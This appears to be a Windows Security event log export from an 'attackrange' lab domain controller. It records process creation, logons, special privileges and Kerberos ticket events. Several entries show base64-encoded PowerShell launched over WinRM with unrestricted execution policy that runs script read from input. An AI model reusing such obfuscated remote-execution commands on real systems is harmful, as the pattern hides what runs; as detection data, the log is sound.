	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253121
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x193B8E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253120
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x193B8E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253119
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253118
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253117
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253116
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19373B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf14
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x118c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253115
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19373B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x118c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x964
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253114
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19398F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253113
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19398F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253112
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253111
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253110
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253109
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19373B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1244
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x964
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253108
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19373B

Process Information:
	New Process ID:		0x964
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:32 PM
